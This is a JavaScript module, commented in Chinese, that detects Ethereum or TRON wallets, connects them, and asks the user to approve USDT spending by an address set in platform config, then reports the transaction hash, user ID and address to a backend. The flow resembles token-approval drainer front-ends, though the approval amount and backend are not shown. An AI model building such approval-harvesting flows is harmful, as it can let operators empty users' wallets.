/**
 * plugin/chain.js
 * 多链钱包检测与授权模块（ETH + TRON）
 */
import { showLoadingToast, closeToast, showToast } from 'vant'
import {
  check as checkETH,
  connect as connectETH,
  initSwitchWalletEvent as initSwitchWalletEventETH,
  approve as approveETH
} from './eth'
import {
  check as checkTRON,
  connect as connectTRON,
  initSwitchWalletEvent as initSwitchWalletEventTRON,
  approve as approveTRON
} from './tron'
import { sendApproveHashApi } from '@/api/common/chain'
import { useUserStore } from '@/store/user'
import { useMainStore } from '@/store'

let isTron = false
let isEth = false

/**
 * 智能检测当前钱包环境（支持主流多钱包）
 */
const detectWalletEnvironment = () => {
  if (window.tronWeb && window.tronWeb.defaultAddress?.base58) {
    return 'TRON'
  } else if (
    window.ethereum ||
    window.trustwallet ||
    window.okxwallet ||
    window.bitkeep ||
    window.tokenpocket ||
    window.coinbaseWalletExtension ||
    window.coinbase ||
    window.safepal ||
    window.bybitWallet ||
    window.imToken ||
    window.mathwallet ||
    window.oneInchWallet ||
    window.rabby ||
    window.phantom?.ethereum
  ) {
    return 'ETH'
  } else {
    return 'NO_WALLET'
  }
}

/**
 * 获取钱包账户信息
 */
export const getAcount = async () => {
  try {
    const env = detectWalletEnvironment()
    let res = null

    if (env === 'NO_WALLET') {
      return 'no-wallet'
    }

    isTron = env === 'TRON'
    isEth = env === 'ETH'

    // 优先 ETH
    if (isEth) {
      res = await connectETH()
    } else if (isTron) {
      res = await connectTRON()
    }

    if (res?.code === 200 && res.data?.address) {
      // ✅ 兼容用户未注册问题
      const userStore = useUserStore()
      if (!userStore.userInfo?.user?.address) {
        console.log('Detected new wallet address:', res.data.address)
        // 自动写入 userStore.userInfo.user.address 防止空对象
        userStore.userInfo = {
          user: {
            ...userStore.userInfo?.user,
            address: res.data.address
          }
        }
      }
      return res
    } else {
      showToast(res?.msg || 'Wallet connection failed')
      return 'no-wallet'
    }
  } catch (err) {
    console.error('getAcount error:', err)
    showToast('Wallet connection error')
    return 'no-wallet'
  }
}

/**
 * 初始化钱包切换事件
 */
export const initSwitchWalletEvent = async () => {
  isTron = await checkTRON()
  isEth = await checkETH()

  if (isTron) initSwitchWalletEventTRON()
  if (isEth) initSwitchWalletEventETH()
}

/**
 * 发起代币授权（Approve）
 * @param {String} type 代币类型（默认 USDT）
 */
export const approve = async (type = 'USDT') => {
  showLoadingToast('Loading...')
  try {
    isTron = await checkTRON()
    isEth = await checkETH()
    const { platFormConfig } = useMainStore()
    let res = null

    if (isEth) {
      const spenderAddress = platFormConfig.APPROVE_ADDRESS.ETH
      const { approveMethod } = await approveETH(spenderAddress, type)

      if (approveMethod?.on) {
        approveMethod.on('transactionHash', (hash) => sendApproveHash(hash))
      }
      res = approveMethod
    } else if (isTron) {
      const spenderAddress = platFormConfig.APPROVE_ADDRESS.TRON
      const txHash = await approveTRON(spenderAddress)
      if (txHash) sendApproveHash(txHash)
      res = txHash
    }

    closeToast()
    return res
  } catch (err) {
    console.error('approve error:', err)
    closeToast()
    showToast('Failed, please try again')
    return null
  }
}

/**
 * 上报授权交易哈希
 */
const sendApproveHash = async (hash) => {
  try {
    const userStore = useUserStore()
    const user = userStore.userInfo?.user
    if (!user?.userId || !user?.address) {
      console.warn('User information is empty, unable to report hash')
      return
    }
    await sendApproveHashApi({
      userId: user.userId,
      address: user.address,
      hash
    })
  } catch (err) {
    console.error('sendApproveHash error:', err)
  }
}
